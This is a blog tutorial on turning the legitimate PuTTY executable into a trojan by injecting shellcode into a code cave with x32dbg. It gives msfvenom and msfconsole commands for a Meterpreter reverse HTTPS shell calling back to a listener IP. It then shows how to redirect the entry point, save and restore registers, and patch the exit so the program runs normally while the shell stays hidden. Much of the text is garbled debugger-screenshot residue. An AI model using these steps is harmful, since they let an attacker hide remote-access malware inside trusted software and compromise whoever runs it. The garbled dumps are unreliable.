VX1988 Date: 10/27/2022 2:59AM

# Backdoor CodeCave Legitimate PE

Code Cave PE Injection took me a little bit effort to understand but it fascinated me a lot. One technique that can be used by malware developers is by injecting malicious shellcode into legitimate Portable Executable(PE) x32/x64 code cave, which is discussed in this blog. A code cave is a collection of unused bytes in the memory of a process. In simple terms, it is the addition of a set of instructions within a programme that can be used to change the flow of execution. Let's see how we can embed malicious shellcode that been modified into existing software and turn it into a custom Trojan that run under the hood.

# **Prerequisite Programs :**

- https://www.chiark.greenend.org.uk/~sgtatham/putty/releases/0.66.html
- https://processhacker.sourceforge.io/downloads.php
- https://x64dbg.com/
- https://www.metasploit.com/download

## Part 1

By executing PUTTY.EXE, we choose the 32-bit type. In this case, we'll need to use the x32 debugger.



Make a note of the entry point by copying and pasting it into any editor you prefer.

### Open the x32 debugger and run our target application (PUTTY.EXE)

R PUTTY.E	XE - PID:	1684 - Mod	ule: ntdll.dll - Th	read: Main 7	d 3592 - x32dbg	[Elevated]									-		×
File View	Debug 1	Tracing Plugi	ns Favourites	Options	r 17 2021 (TitanEn	jine)											
	→ II	* 🏊 🖷	2 🎍 💲 名 🛛	8 2 3 4	2 🥠 fx #   A2	L 🛛 💇							_				
CPU	Log	📋 Notes	Breakpoints	Memory I	1ap 📋 Call Stack	SEH	Script	Symbols	<> Source	References	Street Three	eads	📥 Handles	🐔 Trace			
<b>10</b>		77751843 77751847 77751847 77751847 77751847 77751849 77751849 77751849 77751885 77751885 77751885 77751863 77751805 7775180507 77751805 77751805 77751805 77751805 77751805 77751805 7	E8 07 	555555 500000 50000 50000 577 577	jmp ntdl27528 Kor eax, eax inc eax kor eax, eax inc eax we sp, dword ptr mov dkword ptr mov dkword ptr mov eax, dword ptr mov eax, eax mov eax mov eax, eax mov e	<pre>4C     ss:[ebp-4],     tesp-4],     ss:[ebp-4],     ss:[ebp-4],     ss:[ebp-4],     ss:[ebp-4],     ss:[ao]     tesp-1ao]     tesp-1ao]     ds:[7776784     ds:[7776784     ds:[7776784     ds:[7776784     ds:[7776784     ds:[7776784     ds:[7776784     ds:[77778     ds:[77778     ds:[77778     ds:[7778     ds:[778     ds:[7778     ds:[778     ds:[778</pre>	10] FFFFFE 10]  ,eCX 1,eCX 1,eCX 1,eCX	[ebp-10] [0000000 cdi:"Ldp esi:"min	:"ôŭ\x19" 0]3"ôŭ\x19 PInitializef Kernel\\ntd ]:L"C:\\wind	, Process" 11\1drinit.c	* *	EAX EBX ECX EDX ESP ESP ESP ESP ESP ESP ESP ESP ESP ESP	0000000 CD710000 00000000 00000000 00000000 0015FA20 77768261 77758264 77768261 77758265 SF 0 DF 4 FF 0 0F 5 SF 0 0F 1 FF 0058 50050 028 55 0027 028 55 0027 0	Hide Fi "-û\x19" "minkernel\ "LdrpInitia htdll.7751 h5 0002 (ERROR_FIL 00034 (STATUS_0B 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3	PU \rtdll\\ldri llzeProcess BA3 E_NOT_FOUND) JECT_NAME_NO PO EMPTY 0.0 IlszeProcess \rtdl\\rtdl\\rtdl	nit.c" T_FOUND)	Unlocked
.text:7775	1BAC 1BA3 nto	ill.dll:\$В1	LBA3 #BOFA3									3: [ 4: [ 5: [	esp+C] 00000 esp+10] 0000 esp+14] 0019	000 0001 FA20			~
Address     776A1000     776A1010     776A1030     776A1030     776A1030     776A1060     776A1060     776A1070     776A1080     776A1080     776A1080     776A1080	C 00 18     O 0 02     C 00 0E     C 00 0E     C 00 08     C 00 1E     O 39 7C     O 00 22     O 68 6D     O 1F 6D     O 1F 6D     O 1F 6D	np 2 00 28 7C 0 00 FC 5D 0 00 FC 7D 0 00 D 7D 0 00 C 72 0 00 C 72 0 00 C 72 800 07 800 0 07 800 0 00 72 800 0 72 800 0 70	ump 3 Ump 3 Lange Dum 5A 77 06 00 04 5A 77 06 00 04 5A 77 06 00 04 5A 77 06 00 08 5A 77 06 00 08 5A 77 06 00 08 5A 77 06 07 76 5A 77 30 84 67 5A 77 30 84 57 50 45 74	p 4 ∰ Dum 0 00 78 74 6 0 00 00 7E 6 0 00 08 73 6 0 0 00 7D 6 0 0 00 7D 6 45 00 00 0 5 77 90 D8 71 0 0 F0 7F 6 77 90 D8 71 77 20 46 7	p 5	[x=] Locals xtjw .~_jw 0sjw 0sjw 0sjw 0sjw 0sjw 0sjw 0sjw 0s	Struct			0019FA20 0019FA28 0019FA28 0019FA28 0019FA34 0019FA34 0019FA34 0019FA48 0019FA48 0019FA48 0019FA45 0019FA45	BA319173 776B261C 776B2054 00000000 00000001 0019FA20 0019FC9C 7771AD40 0000000 0019FC9C 7771AD40 CD52A7DF 00000000 0019FCAC 7774C0A8 BA319793	retu Poir ntdl	11.7768261C 11.77682054 urn to ntdll nter to SEH_ 11.7771AD40 urn to ntdll	.7774C097 from Record[1] .7774C0A8 from	ntd]].77714: ntd]].777518	380	•
776A10B0	0 45 7A	77 20 46 7 00 57 14 0	A 77 CO CE 70 11 E2 46 15 CS	77 A0 46 7	ZZZ °EZW FZWÂÎPU 80 w âf Âr	v Fzw T¥b				♥ < 0019E458	00305000						>
Command: Co	mmands a	re comma s	eparated (lik	e assembly i	nstructions): mo	v eax, eb:	ĸ					_				Defa	ult 🔻
Paused	System bre	akpoint reache	d												Time Wasted De	bugging: 0:	02:45:49

We found the entry breakpoint. Take note on the address.

Red PUTTY.	EXE - PID: 1	684 - Module: ntdll.dll - Thread: Main Thre	ad 3592 - x32dbg [Elevated]		
File View	Debug Tr	acing Plugins Favourites Options Help	pr 17 2021 (TitanEngine)		
🛋 🔮 🚞	🔶 II 🔤	🛊 🌫 🛬 🎍 🛊 🤹 📓 🥖 🧺 🖉	🥒 fx # 🗛 🖺 🗐 👮		
CPU	🔰 Log	🖺 Notes 🔹 Breakpoints 📟 Memory Ma	o 🗐 Call Stack 🗠 SEH 💿 Script 🎴 Symbols 🗘 Source 🖉	Refere	ences 🛸 Threads 📥 Handles 👔 Trace
Туре	Address	Module/Label/Exception	State Disassembly	Hits	Summary
Software					
	00454AD0	<putty.exe.entrypoint></putty.exe.entrypoint>	One-time push 60	0	entry breakpoint
	0045C961	putty.exe	Enabled add byte ptr ds:[eax],al	0	

We are in memory sessions .text, and usually at the end we will find a space that can be our code cave.

CPU	Dog	Notes	Breakpoints	Memor	у Мар	🗐 Call Stack	< 🖻	SEH	Scrip	t 🛛 🖭 Symbol	s 🕸 So
Address	Size	Info			Conte	nt			Туре	Protection	Initial
00010000	00010000								MAP	-RW	-RW
00020000	00001000								MAP	-R	-R
00030000	00001000								MAP	-R	-R
00040000	0001D000								MAP	-R	-R
00060000	00035000	Reserved							PRV		-RW
00095000	0000B000								PRV	-RW-G	-RW
000A0000	000FB000	Reserved							PRV		-RW
0019B000	00005000	Thread EO8	3 Stack						PRV	-RW-G	-RW
001A0000	00004000								MAP	-R	-R
001B0000	00003000								MAP	-R	-R
001C0000	00002000								PRV	-RW	-RW
001D0000	00001000								MAP	-R	-R
00200000	0010D000	Reserved							PRV		-RW
0030D000	0000B000								PRV	-RW	-RW
00318000	000E8000	Reserved (	(00200000)						PRV		-RW
00400000	00001000	putty.exe							IMG	-R	ERWC-
00401000	0005C000	".text"			Execu	table code			IMG	ER	ERWC-
0045D000	0001D000	".rdata"			Read-	only initia	lized	data	IMG	-R	ERWC-
0047A000	00006000	".data"			Initi	alized data			IMG	-RW	ERWC-
00480000	00004000	".rsrc"			Resou	rces			IMG	-R	ERWC-
00490000	00035000	Reserved							PRV		-RW
004C5000	0000B000								PRV	-RW-G	-RW
004E0000	00007000								PRV	-RW	-RW
004E7000	00009000	Reserved	(004E0000)						PRV		-RW

By scrolling down, our code cave begin here. Set the breakpoint to it for reference.

Blog-Cooki3s	-Securit		Cookies S	ecurity Analyst 🚿												
R PUTTY.EXE	- PID: 1	684 - Mo	dule: putty.ex	e - Thread: Main 1	Thread 3592	2 - x32dbg	[Elevated]									
File View Del	hua T	racing Pl	ugins Eavourit	es Options Help	Apr 17 202	1 (TitanEngi	ne)									
	<b>N</b> 00	4	م الفي الم		10 10 fr	4 .										
<u> </u>	<b>P</b> 10	<b>8</b> 6₩	™ ⊕ ¦ ; ;	🍇 🚺 🥢 🎘 🤤	🧶 🐙 JX	# Aı	s 🗉 💆									
🔛 СРИ 🏾 📝	Log	📋 Notes	Breakpo	oints IIII Memory	Map 🗐	Call Stack	🧠 SEH	Script	🐏 Symbols	<> Source	References	👾 Threads	📥 Handles	17 Trace		
		• • • • • • • • • • • • • • • • • • •	0.4455355 0.4455355 0.4455357 0.4455367 0.4455367 0.4455367 0.4455367 0.4455367 0.4455367 0.4455367 0.4455377 0.4455377 0.4455377 0.4455377 0.4455377 0.4455377 0.4455378 0.4455378 0.4455378 0.4455378 0.4455378 0.4455378 0.4455378 0.4455378 0.4455378 0.4455381	58 55 55 55 63 0000 0000 0000 0000 0000 00		<pre>op ebs op est op e</pre>	DTr         dS1         E           DTr         dS	80.         81           80.         81		esi:"minker; edi:"LdrpIn	nel\\ntdll\\ld	rinit.c"				< .
		-	<													>

After we have placed our malicious shellcode on the code cave, we will cause PE to jump to the code cave (0045C961) and then back to the PUTTY.EXE entry point. We need to override some instruction.

	III 004EC00	0 00	n of							
r.	0045096		reu							
12	0045C96	1 0000	add byte ptr ds	s:[eax],al 🛛 🔂 p	UTTV EXE X32 • -	Sublime Text	t (UNREGIST	ERED)		
	0045C96	3 0000	add byte ptr ds	s:[eax],a]	OTTINE/(E)/(D)E	Submite read		LINED)		
,	0045C96	5 0000	add byte ptr ds	s:[eax],al	esta estadou	eta di Attaun	Color To	- In Desident	D	t taba
	0045C96	7 0000	add byte ptr de	s:[eax],a] File	Edit Selection	Find view	GOTO TO	ois project	Preferences	нер
	0045C96	9 0000	add byte ptr de	s [eax] al		_				
,	0045C96	B 0000	add byte ptr ds	s:[eax],al 🛛 🔺 🕨	PUTTY, EXE X32					
,	0045C96	D 0000	add byte ptr ds	s:[eax],al						
	0045C96	F 0000	add byte ptr ds	s:[eax],al 4		V20				
	0045C97	1 0000	add byte ptr ds	s:[eax],al	FUITILAL	<b>NJZ</b>				
	0045C97	3 0000	add byte ptr ds	s:[eax],al 2						
	0045C97	5 0000	add byte ptr ds	s:[eax],al				004500	64	
	0045C97	7 0000	add byte ptr ds	s:[eax],al 🗦	Lode Cave	вгеакроі	nt Addres	s: 0045C9	61	
,	0045C97	9 0000	add byte ptr ds	s:[eax],al						
	0045C97	B 0000	add byte ptr ds	s:[eax],al						
	0045C97	D 0000	add byte ptr ds	s:[eax],al						
,	0045C97	F 0000	add byte ptr ds	s:[eax],al						
	0045C98	1 0000	add byte ptr ds	s:[eax],al						

Next, we assemble and make the entry point jump to the code cave

	00454AD0	6A 60	push 60	EntryPoint	
•	00454AD2	68 B07A4700	push putty.477AB0		
•	00454AD7	E8 08210000	call putty.4568E4	EAX 00000000	
•	00454ADC	BF 94000000	mov edi,94	edi:"LdrpInitializeProcess"	
•	00454AE1	8BC7	mov eax,edi	EBA 0000000	
•	00454AE3	E8 B8FAFFFF	call putty. 4545A0	TTV EXE X32 • - Sublime Text (LINREGISTERED)	- 1
•	00454AE8	8965 E8	mov dword ptr ss:[ebp-18],e	There are bubine text (officion theory)	
•	00454AEB	8BF4	mov esi, esp	dit Selection Find View Gete Teels Preject Preferences Help	
•	00454AED	893E	mov dword ptr ds:[es1],ed1	ar Zeerron Jug Zee Zoro Toos Erden Heleffres Teh	
•	00454AEF	56	push esi		
•	00454AF0	FF15 E0D24500	call dword ptr ds:[<&GetVer	PUTTY.EXE X32	
•	00454AF6	8B4E 10	mov ecx, dword ptr ds: [es1+1		
•	00454AF9	890D 40E14700	mov dword ptr ds:[47E140],e	PUTTY_EXE_X32	
•	00454AFF	8846 04	mov eax, dword ptr ds:[es1+4		- 192
•	00454B02	A3 4CE14700	mov dword ptr ds:[47E14C], e 2		
•	00454807	8856 08	mov eax, dword ptr ds:[es1+a	Code Cave Breakpoint Address: 00/50961	
•	00454B0A	8915 50E14700	mov dword ptr ds:[47E150],e	Coue cave breakpoint Address. 00490301	
•	00454810	8876 OC	mov esi, aword ptr ds:[esi+c 4		
•	00454B13	81E6 FF7F0000	and es1,7FFF		
•	00454819	8935 44E14/00	mov aword ptr ds:[4/E144],e 5		
	00454B1F	83F9 02	cmp ecx,2	PUTTY FXF X32 (Entrypoint Breakpoint)	
-	00454822	✓ 74 0C	je putty.454830	Torrite x52 Centrypoint of campointy	
	00454824	SICE 00800000	or es1,8000		
	0045462A	6555 44E14/00	mov uword per us:[4/E144],e	004544D0 L 64 60 L puch 60	
21	00454830	0202	add eav adv		
	00454655	0302	aud eax, eux	00454AD2 68 B07A4700 push putty.477AB0	
	00454655	2250	wer asi asi		
	00454856	5500	Nor est, est	00454AD7   E8 08210000   Call putty.456BE4	
	00454650	2020 D2024500	move add, dward atta day firefat	00454ADC   RE 94000000   mov edi 94	
	00454842	EED7	call add		
	00454845	66-9129 4DEA	cmp word ptr ds:[eav] EA4D 12	00454AE1   8BC7   mov eax,edi   edi:"LdrpInitializeProcess"	
-	00454844	v 75 1E	ine putty 454868	00454AE3 E8 B8EAEEEE coll outty 454540	
	00454840	8949 20	mov ecy dword otr ds: [eave]	Courses and and a carry accesses and acc	
	00454B4E	0308	add ecx eax		
	00454851	8139 50450000	cmp dword ptr ds:[ecx].4550		
1	00454057	75 10	the putty ACADCO		

If we hit enter, the entrypoint will jump to the code cave.

-	0045440	0 V_E9 903	750000	imp putty 450964			Entry Doint		
-	0045440	E5 6C/	20000	Jinp puccy. 45050.					
	00454AD	5 4/		inc ear	01	Binary		•	alizerocess
•	00454AD	6 00E8		add al,cn					
•	00454AD	8 0821		or byte ptr ds:	Pa.	Conv		۱.	
	00454AD/	A 0000		add byte ptr ds	4	COPY			
	00454AD	BE 940	00000	mov edi.94		Destant selection	out an element		alizeProcess"
-	0045445		00000	mov cor, 54	T	Restore selection	Ctrl+Backspac	e	
-	00454AE.			nov eax, eur					anzerrocess
•	00454AE	3 E8 B8P	AFFFF	call putty.4545/	٠	Breakpoint		•	
•	00454AE	8 <b>8965 E</b>	8	mov dword ptr s					
	00454AEI	B SBF4		mov esi.esp	-1444	Follow in Dump		•	
	00454AE	D 893F		mov dword ptr d	0 0	r ollow in Dump		· ·	\\ntdll\\ldrinit.c", edi:"LdrpTnitializeProcess"
	0045445	5 56		nuch eci	Served 1				Notdill Idrinit c"
-	0045445	i i i i i i i i i i i i i i i i i i i	00004500	push con		Follow in Disassembler		•	(incurry) (incure
•	00454AF	U FF15 B	20024500	can aword per i	-				
•	00454AF	6 8B4E 1	LO	mov ecx, dword p		Follow in Memory Map			Seemble at 00454AD0 X
•	00454AF	9 890D 4	40E14700	mov dword ptr d	100				_
•	00454AF	F 8846 (	04	mov eax, dword p		Graph	C		ni
	00454B0	2 A3 4CF	14700	mov dword ptr d	<b>X</b>	Graph	0		imp 0x004EC061
	0045480	7 8856 (	18	mov edy dword p	8				Jub 0x00496301
-	0045480	0010	0514700	mov dword oto d	<b>U</b>	Help on Symbolic Name		,	
	0045480/	8915 5	00214/00	mov uword ptr di	-				Keen Size Fill with NOP's XEDParse asmit OK Cancel
•	00454B1	0 8B76 (	DC	mov esi, dword p	?	Help on mnemonic	Ctrl+F1		
•	00454B1	3 81E6 F	F7F0000	and esi,7FFF	-				N
	00454B1	9 8935 4	4E14700	mov dword ptr d	A	Chau mananis brief	Chill (Chift) (E1		N Instruction encoded successfully!
	00454B1	E 83E9 (	12	cmp_ecx_2		Show mnemonic brief	CULHOUILTEI		
	0045482	2 74 00	-	ia putty 454820					
	0045462			Je puccy.454850	_	Highlighting mode	н		A med 73 Medicine at
	0045482	4 SICE C	0800000	or es1,8000					Vurger in the c
•	0045482/	A 8935 4	4E14700	mov dword ptr d	1	Label		•	\\ntdll\/ldrlnlt.c"
->0	00454B3	0 C1E0 (	)8	sh1 eax,8					
•	00454B3	3 03C2		add eax,edx		Comment			
	00454B3	5 A3 488	14700	mov dword ptr d	фъ.	Comment	i		
	0045482	1 2256	1.000	vor esi esi					\\ntd1\\]drinit_c"
-	0045483/	550		Aut est, est	<b>4</b> n	Toggle Bookmark	Ctrl+D		
	00454830	56		push esi	24				
•	00454B3	0 883D E	08D24500	mov eai, aword p	27	Trace record		•	all zerocess"
•	00454B4	3 FFD7		call edi					
•	00454B4	5 66:81	38 4D5A	cmp word ptr ds					
	00454B4	4 ¥ 75 1E		ine putty, 45486	1	Applysic		•	
	0045484	0040	e c	mov ecx dword p	/	Andrysis			
-	0045484	0000		add eex, anor a p					
	0045464	0308		auu ecx,eax	01	Assemble	C		
•	00454B5	1 8139 5	0450000	cmp awora ptr d	<b>10</b>	Assemble	space		
0	00454B5	7 75 12		jne putty.454B6	-			-	
•	00454B5	9 0FB741	L 18	movzx eax, word	0	Patches	Ctrl+P		
	00454B50	D 3D 0B0	10000	cmp eax.10B	-				v 1
-	<				*	Set New Origin Here	Ctrl+*		>
						section origin here			
					Î 📥	Create New Thread Here			
					1.	create new thread here			
					~				
xe: !	\$54AD0 #	54ADO <entry< td=""><td>Point&gt;</td><td></td><td></td><td>Go to</td><td></td><td>•</td><td></td></entry<>	Point>			Go to		•	
	++ ·· 20 #.	s noo kenery							
-00	m	-000	-970	An	-				0019FA34 0019FA20
	Dump 3	Ump 4	Dump 5	🐨 Watch 1 🛛 🛛 🖉 🐨 🐨 🐨	(0)	Search for		•	0019E438 7774C097 return
_					0.00				
			A	SCII	86	Find references to			▲ 0019FA3C 0019FA3C 0019F03C 0019F
8 70	C 6A 77	14 00 16 00	78 74 6A 77 .	(liwxtiw		rinu references to			0019FA40 ///1AD40 ntd11.
C 51	D 64 77	OF 00 10 00	00 7E 64 77	011w ~1w					O019FA44 CD52A7DF
	D 64 77		De 72 CA 77	alaw genu					0019FA48 0000000
				100 T 100 T					

Because our shellcode will change the machine's state and some stack values, we must save all register (pushad) and flag values (pushfd) into the stack.



Drag the mourse scrolling to down by selecting the code cave we want and go to binary and edit.

RUTTY.EXE - PID: 1684 - Module: putty.exe -	Thread: Main Thread 3592 - x32dbg [Elevated	d]				
File View Debug Tracing Plugins Favourites	Options Help Apr 17 2021 (TitanEngine)					
🖴 🕆 🎍 🖷 📌 📲 🔮 🖴	📓 🥖 😓 🛷 🥒 fx # 🛛 A2 🖺 🗐 👮					
🕮 CPU 📝 Log 🖺 Notes 📍 Breakpoints	🛲 Memory Map 🛛 🗐 Call Stack 🛛 🗠 SEH	Script	🛀 Symbols	Source	References	🛸 Thre
045CED9 0000 045CED9 0000 045CEDD 0000 045CEDT 0000 045CEE1 0000 045CEE5 0000 045CEE5 0000 045CEE5 0000 045CEE9 0000 045CEE9 0000 045CEF1 0000 045CEF5 0000 045CEF5 0000 045CEF5 0000 045CEF5 0000 045CEF5 0000 045CEF5 0000 045CF7 0000 045CF07 0000 045CF11 0000 045CF13 0000 0000 045CF13 0000 0000 0000 0000 0000 0000 0000 00	add byte ptr ds: [eax],al add byte ptr ds: [eax],al	Binar       Image: Copy       Bread       Image: Copy       Bread       Image: Copy       Image:	y kpoint w in Dump w in Memory Map h on mnemonic v mnemonic brief lighting mode l ment le Bookmark e record	G Ctrl+F1 Ctrl+Shift+F1 H ; Ctrl+D		~
.text:00450963 putty.exe:\$50963 #50963		🥢 Anal	zisv	•		

Let's create our malicious shellcode in HEX. Metasploit will be used to create a reverse shell for the listener. Copy the HEX and paste on binary editor.

msfvenom -p windows/meterpreter/reverse\_https lhost=192.168.174.131 lport=443 -f
hex > code\_cave.txt



#### Listener :

msfconsole -x "use exploit/multi/handler; set PAYLOAD

windows/meterpreter/reverse\_https; set LHOST 192.168.174.131; set LPORT 443; run; exit -y"



Save the changers PUTTY2.EXE



Problem: The reverse shell works well but we can see the program has exited and not launch the putty execution.

### Part 2

In my case, after our shellcode launches reverse shell, it calls some short of exit with a function that is similar. We can try to find out where the exit call is being made and skip or override it. Lets put breakpoint on every call in our shellcode.

File       View       Debug       Tracing       Plugins       Favourites       Options       Help       Apr 17 2021 (TitanEngine) <ul> <li> </li> <li> <li> </li> <li> <li> </li> <li> <li> <li> <li> <li> </li> <li> <li> </li> <li> </li> <li> <li> </li> <li> </li> <li> <li> </li> <li> <li> </li> <li> </li> <li> </li> <li> </li> <li> </li> <li> <li> </li> <li> </li> <li> </li> <li> <li> </li> <li> <li> </li> <li> </li> <li> <li> <li> </li> <li> <li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></li></ul>	R PUTTY2.EXE - PIE	): 1408 - Module	: putty2.exe - Thread: M	ain Thread 4472 - x32dbg [Elevated]
Image: Second state         Image: Second state       I	File View Debug	Tracing Plugins	Favourites Options Help	Apr 17 2021 (TitanEngine)
Image: CPU         Image: Log         Image: Notes         ● Breakpoints         Image: Memory Map         Image: Call Stack         Image: SEH	🗎 🍋 🔳 🔮	🕈 🏊 🛬 🎍	🛊 🔹 📓 🥖 🚍	🧼 🥠 fx # 🛛 A2 🖺 🗍 👮
OO45C868         G8 75469E86         push 869E4675           OO45C860         FFD5         Call ebp           OO45C870         53         push ebx           OO45C871         53         push ebx           OO45C872         53         push ebx           OO45C873         56         push ebx           OO45C874         53         push ebx           OO45C875         56         push ebx           OO45C874         68 2D06187B         push ebx           OO45C875         85C0         call ebp           OO45C876         85C0         call ebp           OO45C876         68 48130000         push 1388           OO45C876         68 48103500         push 1388           OO45C876         68 48103000         push 1388           OO45C884         68 4470350         push 1388           OO45C884         68 4470350         push 40           O045C885         68 00100000         push 40           O045C886         47 5 CD         jne putty2.45C858           O045C884         68 00004000         push 40           O045C885         68 00100000         push 40           O045C884         68 00000000         push ebx	🕮 CPU 🛛 🗋 Log	🖺 Notes 🛛 📍	Breakpoints Memory	y Map 🔲 Call Stack 🗠 😪 SEH 🛛 💀 Script 🦉
0045CB84 68 129689E2 public E2899612		0045C868 0045C867 0045C870 0045C870 0045C871 0045C873 0045C873 0045C878 0045C878 0045C878 0045C878 0045C878 0045C878 0045C884 0045C884 0045C893 0045C893 0045C893 0045C894 0045C894 0045C894 0045C840 0045C8	68 75469E86 FFD5 53 53 53 53 56 68 2D06187B FFD5 85C0 75 14 68 88130000 68 44F035E0 FFD5 4F 75 CD E8 4C000000 68 00100000 68 00100000 68 00100000 53 68 58A453E5 FFD5 93 53 89E7 57 68 00200000 53 68 129689E2	push 869E4675 call ebp push ebx push ebx push ebx push esi push 7B18062D call ebp test eax,eax jne putty2.45CB93 push 1388 push E035F044 call ebp dec edi jne putty2.45CB5B call putty2.45CB5F push 40 push 1000 push putty2.400000 push ebx push E553A458 call ebp xchg ebx,eax push ebx mov edi,esp push esi push es

I discovered that this call launches the reverse shell after running it step by step by the breakpoint.

	😹 PUTTY2.EXE - PID: 4880 - Module: putty2.exe - Thread: Main Thread 3104 - x32dbg [Elevated]											
File View	Debug 1	Tracing Plugi	ns Favourites O	ptions Help Apr	17 2021 (TitanEngi	ne)						
🖻 🧿 🔳	🔶 ii	🐈 科 🐋	2 🎍 🛊 🦗 📓	🥖 😓 🛷 🐗	fx # A2	. 🔳 🥑						
🔛 CPU	Dog 📐	Notes	Breakpoints	🛲 Memory Map	🗐 Call Stack	SEH	Script	🔮 Symbols	<> Source	References	🛸 Thre	
	•	0045CB9A 0045CB9F	68 00004000 53	push push	putty2.40000 ebx	0		400000:"	MZ"		^	
EIP		0045CBA0 0045CBA5	68 58A453E5 FFD5	call	E553A458 ebp			reverse	shell start			
		0045CBA7 0045CBA8	53	push	ebx,eax ebx							
		0045CBAA	89E7	mov	edi,esp							
	•	0045CBAD 0045CBB2	68 00200000 53	push push	2000 ebx							

Let's find the exit call

<b>₩</b> P	UTTY	2.EXE - P	ID: 2916 - M	odule: putty2.exe	- Thread: Main	Thread 1	908 - x32	dbg [Elevate	ed]					
File	View	Debug	Tracing Plug	gins Favourites	Options Help	Apr 17 202	1 (TitanEngi	ine)						
6		🔿 II	🕴 🐟 📲	🖢 🕹   🛊 🦗	s 🥖 😒 🏈	🥠 fx	# A2	L 🗐 🥑						
	CPU	📄 Log	Notes	Breakpoints	Memory M	ар 🗐	Call Stack	🖻 SEH	Script	🔮 Symbols	<> Source	₽ References	😒 Thr	reads
		<b>^</b>	0045CBC5	^ 75 E5	j	ne putty	2.45CBAC						^	
			0045CBC7	C3		et eax	-							
			0045CBC9	5 F	p	op edi	🔚 Asser	nble at 004	5CBE4					X
		•	0045CBCA	E8 6BFFFFF	F	all putt								
			0045CBCF	3139	X	or dword	imp 0xb0	45CBED						
			0045CBD3	3136	x	or dword	Durb and							
			0045CBD5	382E	c	mp byte	Keep	Size 🗌 Fill v	vith NOP's 🔘	XEDParse	asmiit	OK	Cancel	
		•	0045CBD7	3137	x	or dword								_
			0045CBD9	34 2E	X	or al,2E or dword					Inst	truction encoded	successfi	ully!
			0045CBDD	3100	x	or dword	ptr ds:	leaxi.eax						
			0045CBDF	BB F0B5A25	6 m	ov ebx,5	6A2B5F0							ETL
			0045CBE4	6A 00	p	ush 0								FEL
			0045CBE6	53		usn ebx								ZF
			0045CBE9	0000		dd byte	ntr ds: F	eax1.al						OF
			0045CBEB	0000	a	dd byte	ptr ds:	eax],a]						CF
			0045CBED	0000	a	dd byte	ptr ds:[	eax],al						
		•	0045CBEF	0000	a	dd byte	ptr ds:[	eax],al						Las
			0045CBF1	0000	a	dd byte	ptr ds:[	eax],ai						Las
			0045CBF5	0000	a	dd byte	ptr ds:	eax1.al						GE
			0045CBF7	0000	a	dd byte	ptr ds:[	eax],al						ES
			0045CBF9	0000	a	dd byte	ptr ds:[	eax],a]						cs
			0045CBFB	0000	a	dd byte	ptr ds:	eax],al						
			0045CBFD	0000	a	dd byte	ptr dsil	eax],al						ST/
		-	0045CC01	0000	a	dd byte	ptr ds:	eax1.al						<
			0045CC03	0000	a	dd byte	ptr ds:[	eax],al						Defa
			0045CC05	0000	a	dd byte	ptr ds:[	eax],al					~	1.
			<										>	2:
														3:
														4:
														5:
Lext	1:004	све4 р	utty2.exe::	SCBE4 #5CBE4										<

### Now we restore original context of the cpu (popfd = restore the FLAG)

	0045CBCA	E8 6BFFFFF 3139	call putty2.45CB3A xor dword ptr ds:[ecx]	<b>PUTT</b>	Y.EXE X32 • - Subl	ime Text (l	JNREGISTERE	D)		
1	0045CBD1	322E	xor ch, byte ptr ds:[esi]	rile rela	t Coloction Tine	View (	Coto Toolo	Droject	Professor Lielo	
	0045CBD5	382F	cmp byte ntr ds [esi]	<u>File</u> Eal	t Selection Find	<u>v</u> iew <u>v</u>	<u>a</u> oto <u>1</u> 00is	Project	Preferences Help	
	0045CBD7	3137	xor dword ptr ds:[edi]							
	0045CBD9	34 2E	xor al.2E		PUTTY.EXE X32	• •				
	0045CBDB	3133	xor dword ptr ds:[ebx]							
	0045CBDD	3100	xor dword ptr ds:[eax]		PUTTY.EXE X32	2				
	0045CBDF	BB F0B5A256	mov ebx,56A2B5F0							
	0045CBE4	✓ EB 07	jmp putty2.45CBED					-		
1	0045CBE6	53	push ebx		Code Cave Bre	eakpoint	Address:	0045C9	61	
	0045CBEZ	0000	add byte ntr drifeavl							
	0045CBEB	0000	add byte ptr ds [eax],							
	0045CBED	PD	popfd							
	0045CBEE	61	popad		PUTTY, FXF X32	(Entry	noint Bre	aknoint	)	
(	0045CBEF	0000	add byte ptr ds:[eax],			. ()				
(	0045CBF1	0000	add byte ptr ds:[eax],				— Rec			
	0045CBF3	0000	add byte ptr ds:[eax],		00454AD0 6/	A 60			push 60	
	0045CBF5	0000	add byte ptr ds leax],		004E44D2 1 69		00		puch putty 177APA	
	0045CBF7	0000	add byte ptr ds:[eax],		00434ADZ 00	5 D0/A4/	00		push puccy.4//ADO	
	0045CBEB	0000	add byte ptr ds:[eax],	10	00454AD7   E8	3 082100	00		call putty.456BE4	
	0045CBFD	0000	add byte ptr ds: [eax].	11	00151ADC   RE	910000	00		mov odi 94	
	0045CBFF	0000	add byte ptr ds:[eax],		004J4ADC   DI	540000	00		1 mov eur, 54	
	0045CC01	0000	add byte ptr ds:[eax],	12	00454AE1   8E	3C7			mov eax,edi	
	0045CC03	0000	add byte ptr ds:[eax],	13	004544E3   E8		FF		call putty 454540	
	<				00434863   60	DOLAT			Curr puccy.+5+5A0	
Геах	1=[C000007C	]=???								

6A 60 68 B0 7A 47 00

Select some space and put to the binary editor, if we hit enter for the next jump (call putty.456BE4) will restore back.

0045CBE6     0045CBE7	5 3 FFD5	push ebx call ebp	E PUTTY.EXE X32 Sublime Text (UNREGISTERED) - [			
0045CBE9	0000	add byte ptr ds:[eax],al				
0045CBEB	0000	add byte ptr ds:[eax],al	File Edit Selection Find Alew Goto Tools Flolect Stetebuces Helb			
0045CBED	90	рорта				
• 0045CBEE	61	popad	PUTTY, FXF X32			
0045CBEF	6A 60	push 60				
• 0045CBF1	68 B0/A4/00	push putty2.4//ABO	1 PITTY FXF X32			
0045CBF6	0000	add byte ptr ds leax al				William 123
COUNTER OF COLOR	0000	add byte ptr us; [eax rial	2			
COULSCOPE	0000	add byte ptr ds. [eax] al	3 Cada Cau	President Address, 004ECO	£1	
0045CBFC	0000	add byte ptr ds.[eax],al	5 Code Cave Breakpoint Address: 00450501			
0045000	0000	add byte ptr ds:[eax] al	4			
00450002	0000	add byte ptr ds:[eax].al				ump nere
0045CC04	0000	add byte ptr ds:[eax].al	5			
00450006	0000	add byte ptr ds:[eax] al	6 PUTTY FXF	X32 (Entrypoint Breakpoint)		
00450008	0000	add byte ptr ds:[eax].al		. X32 (Enci ypoine bi cukpoine	, , , , , , , , , , , , , , , , , , , ,	
0045CC0A	0000	add byte ptr ds:[eax].al	7			
